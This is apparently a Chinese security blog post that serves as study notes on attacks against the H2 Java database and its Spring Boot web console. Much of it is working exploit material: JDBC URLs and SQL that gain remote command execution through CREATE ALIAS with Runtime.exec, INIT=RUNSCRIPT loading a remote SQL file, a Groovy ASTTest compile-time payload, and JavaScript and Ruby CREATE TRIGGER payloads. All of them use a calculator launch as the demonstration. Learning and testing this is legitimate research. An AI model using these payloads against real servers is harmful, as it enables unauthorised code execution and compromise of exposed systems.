h2 database 攻击总结
date
Jun 22, 2022
slug
h2-database-attack-method
status
Published
tags
Java安全
安全研究
summary
来自Litch1大哥的《Make JDBC Attack Brilliant Again》学习记录
type
Post
Console触发JNDI注入
h2 database是一个Java下使用的内存数据库。在Springboot开发时,如果设置了如下这些选项且安装了h2 database(可能并不常见):
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
就会为你的Web应用增加一个path:/h2-console/
,不过这个path可以使用spring.h2.console.path
来修改。这一段逻辑代码在springboot中,而不是h2-database,所以你可以认为这是springboot
的一个trick。
spring.h2.console.settings.web-allow-others
设置为true,则允许任意用户访问console,通过配置这里面的Driver CLASS和JDBC URL,即可触发一个JNDI注入漏洞。
众所周知,传统的JNDI注入漏洞会受到Java版本的影响,8u191以后LDAP方式的远程类加载被禁用了。但因为这里是使用了springboot,而其中通常会内置Tomcat,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令,不会受到Java版本的影响(这是绕过jdk版本限制的一种方法)
以vulhub的demo为例:
访问/h2-console/,使用这个工具可以构建https://github.com/JosephTribbianni/JNDI org.apache.naming.factory.BeanFactory加EL表达式注入
前提需要修改配置文件,里面可以设置命令
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F02c187cd-e7ac-4803-9824-afb58eb1d973%2FUntitled.png%3Fid%3D48961b3c-ce4f-45f2-830d-a3400ca29de3%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DHX9b2e3y21SX-8uyH6wMvrQrn7aGrIBdiqrnF3CTVdc?table=block&id=48961b3c-ce4f-45f2-830d-a3400ca29de3&cache=v2)
配置这个URL就是
org.apache.naming.factory.BeanFactory
加EL表达式注入![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F1940faf4-f821-4fd8-bb26-d1dbf4949b7b%2FUntitled.png%3Fid%3D65e6f701-d039-408b-b3e4-3bcc26ef62b1%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DInhmBd6EzivLXkt2u6aX1yv7KYcNnK7AAZ64KFNLtgk?table=block&id=65e6f701-d039-408b-b3e4-3bcc26ef62b1&cache=v2)
触发的时候需要
javax.naming.InitialContext
是JNDI的工厂类触发![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F3917953e-285c-4c59-ab39-39d2cfeaeb97%2FUntitled.png%3Fid%3Dbabbaf1e-0371-4289-9d34-0c233c077eb2%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DkkqZ1Z8mq6xuzfU7cNCsIb3q9bh2VdmnxPmX_cm1lXE?table=block&id=babbaf1e-0371-4289-9d34-0c233c077eb2&cache=v2)
通过UDF进行命令执行
这个操作的前提是得满足可以自行创建数据库的操作之上,那么这里就有个坑,h2版本
1.4.197
是可以自行创建db的,197之后不会自动创建,攻击面就小了很多了环境搭建:
新建一个Springboot项目,引入pom
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
<version>1.4.197</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
application.properties开启这两个选项确保Springboot开启console并且保证远程 Web 可以访问 H2 数据库的信息。
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
此时启动就可以访问
/h2-console
路由即可,点击connect就会进入到可以操作SQL语句的界面h2的UDF可以通过
CREATE ALIAS
构建 ,那么就可以通过UDF去构建一个构建一个自定义函数,这个函数实现命令执行的效果,这里的$$
表示无需转义的长字符串。CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator.app');
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F48dc0172-e88c-4853-aba1-37f00e491094%2FUntitled.png%3Fid%3Dd814e70c-7d27-4c41-8a5e-71f297552fe2%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DEYUE146f5A1cCkK6qSl0ojmiRott9VSKqn9m0MBtv-g?table=block&id=d814e70c-7d27-4c41-8a5e-71f297552fe2&cache=v2)
如果高版本的h2话,要如何操作,在P牛的文章里面可以了解到可以使用
jar
去启动这个web服务(内置的服务),但是需要参数-webAllowOthers
-ifNotExists
打开上述直接未授权的页面:(感觉一般都会跟Springboot一起使用吧),java -cp h2-1.4.200.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
通过JDBC触发UDF执行
上述UDF和这个点下的所有利用还是需要前提条件,就是默认可以自行建立数据库,也就是这两个参数的问题:
开启 -webAllowOthers 选项,支持外网访问
开启 -ifNotExists 选项,支持创建数据库
出网场景
上述场景是一个多SQL语句执行的场景,但是在不能进入这个未授权的可执行SQL语句的界面的条件下,我们可控点就剩下JDBC的URL了,但是这个URL能否执行语句是一个问题
Litch1大哥找到了一个init配置,这个配置是JDBC URL中支持的一个配置 INIT , INIT 这个参数表示在连接h2数据库时,支持执行一条初始化命令
可以调试一下这个执行流程,h2的init命令会进入到
org.h2.engine.Engine#openSession(org.h2.engine.ConnectionInfo)
这个函数,然后在init进入处理分支执行命令,注意这里的命令是只允许是单条命令的,所以init操作只允许单条命令![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F770fff8a-6153-45fa-9a4a-e9d5cc2f5901%2FUntitled.png%3Fid%3D75a301c2-3226-4abd-a5bb-0967a7df4c9a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DUb5MSbkmHiN5VNfmEi05KWBLp0HhH1vC1Ozd_pY7uOg?table=block&id=75a301c2-3226-4abd-a5bb-0967a7df4c9a&cache=v2)
使用这个怎么触发多语句呢?可以配合
RUNSCRIPT
命令进行执行,这个命令是可以加载sql文件进行执行的,但是官网上只给了这么几个demo,但是在源码里面是明显支持触发远程加载的![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F7430f46b-64d5-473e-b341-e5f573b0994f%2FUntitled.png%3Fid%3D72208143-6a58-4d2e-bfc3-1dfc1ec4091a%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DPTOVO4htTfuILOAM9N2p1mdyx8Iz5XTifGReWaJ8TLI?table=block&id=72208143-6a58-4d2e-bfc3-1dfc1ec4091a&cache=v2)
在执行到
org.h2.store.fs.FilePathDisk#newInputStream
这个函数的时候,有一个分支执行的是URL加载,所以可以利用这个点进行远程加载![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F3f9fe614-90b4-4f39-9d92-802ff0d55b1d%2FUntitled.png%3Fid%3Db3f64fee-59a0-4da1-bb49-08c1a948de35%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3D0K_tdf-7O2K21IUG3HIbikorhp9h3TgMiWEoJr74oew?table=block&id=b3f64fee-59a0-4da1-bb49-08c1a948de35&cache=v2)
之后会在
org.h2.command.dml.RunScriptCommand#execute
函数中执行sql文件里面的内容:![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fc623dcc3-268c-4efc-b5b3-43e47d5965b2%2FUntitled.png%3Fid%3D9c980958-cefb-4235-9662-adaf45a246ae%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DOBMYL0Un9PQjnuK3QpFz7cEfSmqn4gBvR-mv3q_zGK0?table=block&id=9c980958-cefb-4235-9662-adaf45a246ae&cache=v2)
整个操作流程如下,只需要构建好远程的sql文件,JDBC URL执行这个命令
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
远程的sql文件内容
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator.app');
触发Test Connection
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F77432c9a-5b86-46c1-8eea-9d3a281c4d10%2FUntitled.png%3Fid%3Dc6b2458f-5b36-4853-8723-100bb4d93e90%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DbUhNoNPYM7XaH2ss-WRA8HujukRwrvBQ-UYe0_C3Z6o?table=block&id=c6b2458f-5b36-4853-8723-100bb4d93e90&cache=v2)
不出网:
上述方式只是方便出网时候进行操作,如果不出网的话,就需要思考另外的思路方向了,Litch1找到了另外一个方法,因为在使用
CREATE ALIAS
命令发现在 SQL 语句中对于 JAVA 方法的定义被交给了org.h2.util.SourceCompiler
这个类,有三种支持的编译器:Java/Javascript/Groovy![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F34a5e4fc-1591-4167-a96e-8cd3838802ae%2FUntitled.png%3Fid%3D836b8813-38ae-4d4c-b805-de3517a78835%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3Dc02xwaXEA-MKA65B1Nlp5LehGCfUlDZeRS9lGvThUKg?table=block&id=836b8813-38ae-4d4c-b805-de3517a78835&cache=v2)
这里关注groovy,在
org.h2.util.SourceCompiler#getClass
函数中会先判断isGroovySource
, 也就是//groovy
开头或者是@groovy
开头,最后触发的点在GroovyCompiler.parseClass
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F333c0046-6ab2-442f-b603-b6647f58f9ad%2FUntitled.png%3Fid%3Db1d745d3-18af-4635-a968-90d1efa7903c%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DRvgMQMcbMxeu3B2BevY7ub3wy1GVFjyd2ba1AEptPKk?table=block&id=b1d745d3-18af-4635-a968-90d1efa7903c&cache=v2)
这个
GroovyCompiler.parseClass
sink点就是当年🍊师傅在https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html 这篇文章里面提及到的内容就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。 这个特性正适合我们:我们在JDBC连接时只允许执行一条SQL语句,所以我们只能“定义”UDF,而不 能“执行”UDF。而这个元编程技巧就是让一些语句能在定义(编译)的过程中就被执行。
所以触发的时候只需要改造一下JDBC URL里面
CREATE ALIAS
就能够触发,但是!!!!这个点是需要Groovy依赖的,所以测试的时候还是把依赖给加上jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("open -a calculator.app")
})
def x$$
直接Test Connection就能够触发
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F502fcc37-3c7e-40a9-935c-eb109f573d3c%2FUntitled.png%3Fid%3De0ae01ff-ec82-4802-a277-af8bf7df8300%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3D5Tq1qww0PYPb5HDyipeertrFb40dYeT1300K2KG3vd4?table=block&id=e0ae01ff-ec82-4802-a277-af8bf7df8300&cache=v2)
上述情况还是不怎么通用,因为需要依赖,上面提到使用了
CREATE ALIAS
触发UDF操作,但是h2中还有另外一个自定函数的操作CREATE TRIGGER
,官网上是这样描述的,这个东西使用org.h2.api.Trigger
类去触发,然后支持javascript和ruby的引擎![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Ffc234c9d-bee4-4635-9386-8a9495a8c86c%2FUntitled.png%3Fid%3Da9deacf4-6965-4230-b13f-cc9c1e32df48%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DhrP3Pw_niko_qilu1GvkRVvyHF1cNz37h-Gr-KHKwwg?table=block&id=a9deacf4-6965-4230-b13f-cc9c1e32df48&cache=v2)
对比之下,
javascript
引擎更加通用,Java 8原生自带了JavaScript的脚本引擎,触发点是在这个地方org.h2.schema.TriggerObject#loadFromSource
,会先判断一下开头是不是//javascript
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F57848c7c-4ef8-4de9-8e5e-542ce4fdc220%2FUntitled.png%3Fid%3D4a17bdf5-9485-49da-89ef-505aa3cdc964%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DrhVKonWZWrbtd_linsAVAUf8XSnoqZxk-r1wUBmWHks?table=block&id=4a17bdf5-9485-49da-89ef-505aa3cdc964&cache=v2)
所以最后构造一个这样的JDBC URL,注意这里javascript后面是需要换行的,所以一般操作的时候输入到浏览器抓包改发最稳妥
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('open -a calculator.app')
$$
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2Fcf0ff573-c192-4f36-8dc7-d53ddaf13145%2FUntitled.png%3Fid%3Dffce9689-f9a5-451e-b86c-ba793540ae4b%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3D3D2S8aYH6_TdxMJriKTQt57x6-O8myyNrxBKZD5ZqBE?table=block&id=ffce9689-f9a5-451e-b86c-ba793540ae4b&cache=v2)
那Ruby的要怎么操作呢,需要添加上JRuby的依赖
<dependency>
<groupId>org.jruby</groupId>
<artifactId>jruby-core</artifactId>
<version>9.2.13.0</version>
</dependency>
然后构造这样的payload,同样ruby也是需要换行的操作
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$#ruby
java.lang.Runtime.getRuntime().exec('open -a calculator.app')
$$
![notion image](https://www.notion.so/image/https%3A%2F%2Ffile.notion.so%2Ff%2Ff%2Fc113620e-b4a6-4a92-bee1-d70b242f1a2f%2F91746e48-05de-419e-b491-88b4629a4858%2FUntitled.png%3Fid%3Dfd47cba9-4f5e-4946-81ac-e4a137d7f478%26table%3Dblock%26spaceId%3Dc113620e-b4a6-4a92-bee1-d70b242f1a2f%26expirationTimestamp%3D1722074400000%26signature%3DpurGHG85KCok5sWgmThXXv8KRBT7i41Y9zpGivUiffk?table=block&id=fd47cba9-4f5e-4946-81ac-e4a137d7f478&cache=v2)